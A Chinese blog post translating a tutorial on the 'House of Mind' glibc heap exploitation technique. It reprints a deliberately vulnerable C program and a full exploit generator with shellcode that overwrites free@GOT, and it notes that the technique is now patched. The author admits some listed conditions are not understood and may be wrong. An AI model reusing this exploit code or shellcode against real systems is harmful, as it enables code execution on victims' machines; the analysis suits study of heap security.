The house of mind

不想写总结,就东拼西凑翻译了一篇

1.程序能调用一系列malloc操作并且存在chunk的地址与HEAP_MAX_SIZE对齐,然后在这个内存区域伪造假的heap_info结构,伪造的heap_infoarena指针ar_ptr会指向伪造的 arena。因此伪造的 arena 和伪造的heap_info的内存区域都能由攻击者控制。
2.攻击者能控制一个将被frechunksize
3.被freechunk的下一个块不能是Top chunk

利用原理

THE HOUSE OF MIND的本质是通过欺骗free去相信将要释放的chunk不属于main arena,而是属于自己伪造的arena,控制unsorted binfdfree@got-12,这样便完成了got表覆盖

1
2
3
4
5
6
7
8
9
10
11
12
void
public_fREe(Void_t* mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
......
p = mem2chunk(mem);
......
ar_ptr = arena_for_chunk(p);
......
_int_free(ar_ptr, mem);
}

程序通过宏mem2chunk获得chunk的内存指针p,然后把p传给了arena_for_chunk

1
2
3
4
5
6
7
8
9
10
11
12
#define HEAP_MAX_SIZE (1024*1024) /* must be a power of two */
_____________________________________________
| |
#define heap_for_ptr(ptr) \ |
((heap_info *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE-1))) |
|
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA) |
__________________| ___________________|
| |
| #define arena_for_chunk(ptr) \ |
|___(chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena)

NON_MAIN_ARENA = 4h = 100b.HEAP_MAX_SIZE = 1M,所以当一个NON_MAIN_ARENA的堆被创建时其地址必定与HEAP_MAX_SIZE对齐,即满足p AND 0xFFF00000

可以看到在正常的情况下arena_for_chunk将会返回&main_arena,但是我们可以通过改变size域中的标志位信息NON_MAIN_ARENA使其置为1,这时候程序就会返回heap_for_ptr(ptr)->ar_ptr,假设malloc返回的地址是0x0804a008,那chunk的地址为:

1
2
&mem - sizeof(size) - sizeof(prev_size) = &mem - 8
p = (0x0804a000);

所以最终ar_ptr = (0x08000000)->ar_ptr,ar_ptr属于_heap_info的结构体成员

1
2
3
4
5
6
typedef struct _heap_info {
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */
size_t pad; /* Make sure the following data is properly aligned. */
} heap_info;

所以我们可以尝试去伪造假的arena,但是0x08000000处并不存在地址去指向有效的arena,程序会出现segmentation fault

如果第一个chunk的地址是0x0804a000,我们可以在地址0x08100000处覆盖一个任意地址(通常是第一个chunk的数据区)

1
2
3
4
5
return heap_for_ptr(ptr)->ar_ptr | ret (0x08100000)->ar_ptr = 0x0804a008
-------------------------------- | --------------------------------------
ar_ptr = arena_for_chunk(p); | ar_ptr = 0x0804a008
... |
_int_free(ar_ptr, mem); | _int_free(0x0804a008, 0x081002a0);

实际上ar_ptr可以指向任何满足arena结构体的地址(因为函数_int_free的一个参数是mstate类型),例如我们可以使它指向环境变量或其他能修改的地方。
mstate实际上是一个malloc_state结构体

1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_state {
mutex_t mutex;
INTERNAL_SIZE_T max_fast; /* low 2 bits used as flags */
mfastbinptr fastbins[NFASTBINS];
mchunkptr top;
mchunkptr last_remainder;
mchunkptr bins[NBINS * 2];
unsigned int binmap[BINMAPSIZE];
...
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

下面看一下_int_free函数的实现

1
2
3
4
5
6
7
8
9
10
void _int_free(mstate av, Void_t* mem) {
.....
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
.....
}

unsorted_chunks(av)返回av->bins[0],如果av0x0804a008,那么就可以控制bins[0]的值。
Phantasmal提出了一个假设,可以通过将av->bins[0]的值改为.dtors-8 + 4,修改.dtors + 4处的值为p,然后在被溢出的chunk pprev_size域存放jmp,如下图

1
2
3
4
5
6
7
8
9
10
11
p = 0x081002a0 - 8;
...
bck = .dtors + 4 - 8
...
bck + 8 = DTORS_END = 0x08100298
1st Bit -bins[0]- 2nd Bit
[ .......... .dtors+4-8 ] [0x0804a008 ... ] [jmp 0xc ...... (Shellcode)]
| | |
0x0804a008 0x08100000 0x08100298

当程序的执行到DTORS时,通过jmp跳转到了shellcode

gcc提供了一种特性,constructorsdestructors,前者可以在main函数执行前运行,后者在main函数退出后运行,就像C++类中的构造函数和析构函数。显然控制构造函数不太现实,程序还没运行起来我们很难在任意地址上写入,理想的做法是控制dtorsdtorsctors都是由0xFFFFFFFF0x00000000和中间的函数地址组成,在dtors0xFFFFFFFF0x00000000之间的地址都会在main结束后执行,所以如果能覆盖这些地址或者直接覆盖0x00000000(空的dtors只有0xFFFFFFFF 0x00000000),就能执行该地址。

但是K-special指出unsorted_chunks ()返回的并不是av->bins[0]的值,而是它的地址,所以上面的方法不可行

1
2
3
4
#define bin_at(m, i) ((mbinptr)((char*)&((m)->bins[(i)<<1]) -
(SIZE_SZ<<1)))
...
#define unsorted_chunks(M) (bin_at(M, 1))

所以可以通过下面的方法去利用

1
2
3
bck = &av->bins[0]; /* Address of ... */
fwd = bck->fd = *(&av->bins[0] + 8); /* The value of ... */
fwd->bk = *(&av->bins[0] + 8) + 12 = p;

通过将&av->bins[0] + 8中的值置为.dtors + 4 - 12,随后p便被写到了DTORS_END,然后就可以跳到shellcode
或者将unsorted binfd,即bck->fd置为free@got-12也是可以的

触发条件

The house of mind的实施需要被freechunk满足一定的条件

1.覆盖块的size的负值必须小于chunk p(不懂)

1
2
3
4
5
6
7
8
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
{
errstr = "free(): invalid pointer";
errout:
malloc_printerr (check_action, errstr, mem);
return;
}

2.chunksize应该大于av->max_fast

1
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

3.sizeIS_MMAPPED不能被设置为1

1
else if (!chunk_is_mmapped(p)) { ...

4.被覆盖的chunk不能为av->top

1
if (__builtin_expect (p == av->top, 0)) ...

5.必须设置av->max_fastNONCONTIGUOUS_BIT

1
if (__builtin_expect (contiguous (av) ...

6.下一个chunkPREV_INUSE标志位必须被设置

1
if (__builtin_expect (!prev_inuse(nextchunk), 0)) ...

7.下一个chunksize必须大于8

1
if (__builtin_expect (chunksize_nomask (nextchunk) <= 2 * SIZE_SZ, 0)

8.下一个chunksize必须小于av->system_mem

1
__builtin_expect (nextsize >= av->system_mem, 0))

9.chunkPREV_INUSE标志位不能被设置(不懂)

1
2
3
4
5
6
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

无法理解,难道不是应该设置去bypass这个check并且不与前一个chunk unlink吗,应该是错的

10.下一个chunk不能为av->top

1
if (nextchunk != av->top) {

11.下下个chunkPREV_INUSE必须被设置

1
2
3
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
/* consolidate forward */
if (!nextinuse) { ...

总之就是满足_int_freebck = unsorted_chunks(av);前的所有操作

小例子

下面是K-sPecial给出的一个程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/*
* K-sPecial's vulnerable program
*/
#include <stdio.h>
#include <stdlib.h>
int main (void) {
char *ptr = malloc(1024); /* First allocated chunk */
char *ptr2; /* Second chunk */
/* ptr & ~(HEAP_MAX_SIZE-1) = 0x08000000 */
int heap = (int)ptr & 0xFFF00000;
_Bool found = 0;
printf("ptr found at %p\n", ptr); /* Print address of first chunk */
// i == 2 because this is my second chunk to allocate
for (int i = 2; i < 1024; i++) {
/* Allocate chunks up to 0x08100000 */
if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == \
(heap + 0x100000))) {
printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2);
found = 1; /* Go out */
break;
}
}
malloc(1024); /* Request another chunk: (ptr2 != av->top) */
/* Incorrect input: 1048576 bytes */
fread (ptr, 1024 * 1024, 1, stdin);
free(ptr); /* Free first chunk */
free(ptr2); /* The House of Mind */
return(0); /* Bye */
}

漏洞程序的堆内存
118142-78eb0f74e7013d80.png-69.9kB
K-sPecialexploit如下

1
2
3
4
5
6
7
8
9
0x0804a008
|
[Ax8][0h x 4][201h x 8][DTORS_END-12 x 246][(409h-Ax1028) x 721][409h] ...
| |
av->max_fast bins[0] size
|
.... [(&1st chunk + 8) x 256][NOPx2-JUMP 0x0c][40Dh][NOPx8][SHELLCODE]
| | |
0x08100000 prev_size (0x08100298) *mem (0x081002a0)

118142-18a365af52edb59f.png-47kB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
/* exp.c
Program to generate attacker data.
Command:
#./exp > file
*/
#include <stdio.h>
#define BIN1 0xb7fd8430
char scode[] =
/* Shellcode to execute linux command "id". Size - 72 bytes. */
"\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
"\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f"
"\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10"
"\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26"
"\x5e\x9e\x39\xcb\xbf\x04\xea\x42";
char ret_str[4] = "\x00\x00\x00\x00";
void convert_endianess(int arg)
{
int i=0;
ret_str[3] = (arg & 0xFF000000) >> 24;
ret_str[2] = (arg & 0x00FF0000) >> 16;
ret_str[1] = (arg & 0x0000FF00) >> 8;
ret_str[0] = (arg & 0x000000FF) >> 0;
}
int main() {
int i=0,j=0;
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd */
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk */
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd_nextsize */
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk_nextsize */
/* Fake Arena. */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* mutex */
fwrite("\x01\x00\x00\x00", 4, 1, stdout); /* flag */
for(i=0;i<10;i++)
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fastbinsY */
fwrite("\xb0\x0e\x10\x08", 4, 1, stdout); /* top */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* last_remainder */
for(i=0;i<127;i++) {
convert_endianess(BIN1+(i*8));
if(i == 119) {
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* preserve prev_size */
fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* preserve size */
} else if(i==0) {
fwrite("\xe8\x98\x04\x08", 4, 1, stdout); /* bins[i][0] = (GOT(free) - 12) */
fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
}
else {
fwrite(ret_str, 4, 1, stdout); /* bins[i][0] */
fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
}
}
for(i=0;i<4;i++) {
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* binmap[i] */
}
fwrite("\x00\x84\xfd\xb7", 4, 1, stdout); /* next */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* next_free */
fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* system_mem */
fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* max_system_mem */
for(i=0;i<234;i++) {
fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* PAD */
}
for(i=0;i<722;i++) {
if(i==721) {
/* Chunk 724 contains the shellcode. */
fwrite("\xeb\x18\x00\x00", 4, 1, stdout); /* prev_size - Jmp 24 bytes */
fwrite("\x0d\x04\x00\x00", 4, 1, stdout); /* size */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd_nextsize */
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk_nextsize */
fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90", 16, 1, stdout); /* NOPS */
fwrite(scode, sizeof(scode)-1, 1, stdout); /* SHELLCODE */
for(j=0;j<230;j++)
fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
continue;
} else {
fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* prev_size */
fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* size */
}
if(i==720) {
for(j=0;j<90;j++)
fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
fwrite("\x18\xa0\x04\x08", 4, 1, stdout); /* Arena Pointer */
for(j=0;j<165;j++)
fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
} else {
for(j=0;j<256;j++)
fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
}
}
return 0;
}

保护措施

不幸的是现在house of mind已经不起作用了

1
2
3
4
5
6
7
8
9
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__builtin_expect (fwd->bk != bck, 0))
{
errstr = "free(): corrupted unsorted chunks";
goto errout;
}
p->fd = fwd;
p->bk = bck;

参考链接

MALLOC DES-MALEFICARUM
THE HOUSE OF MIND
Heap overflow using Malloc Maleficarum

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 利用原理
  2. 2. 触发条件
  3. 3. 小例子
  4. 4. 保护措施
  5. 5. 参考链接
,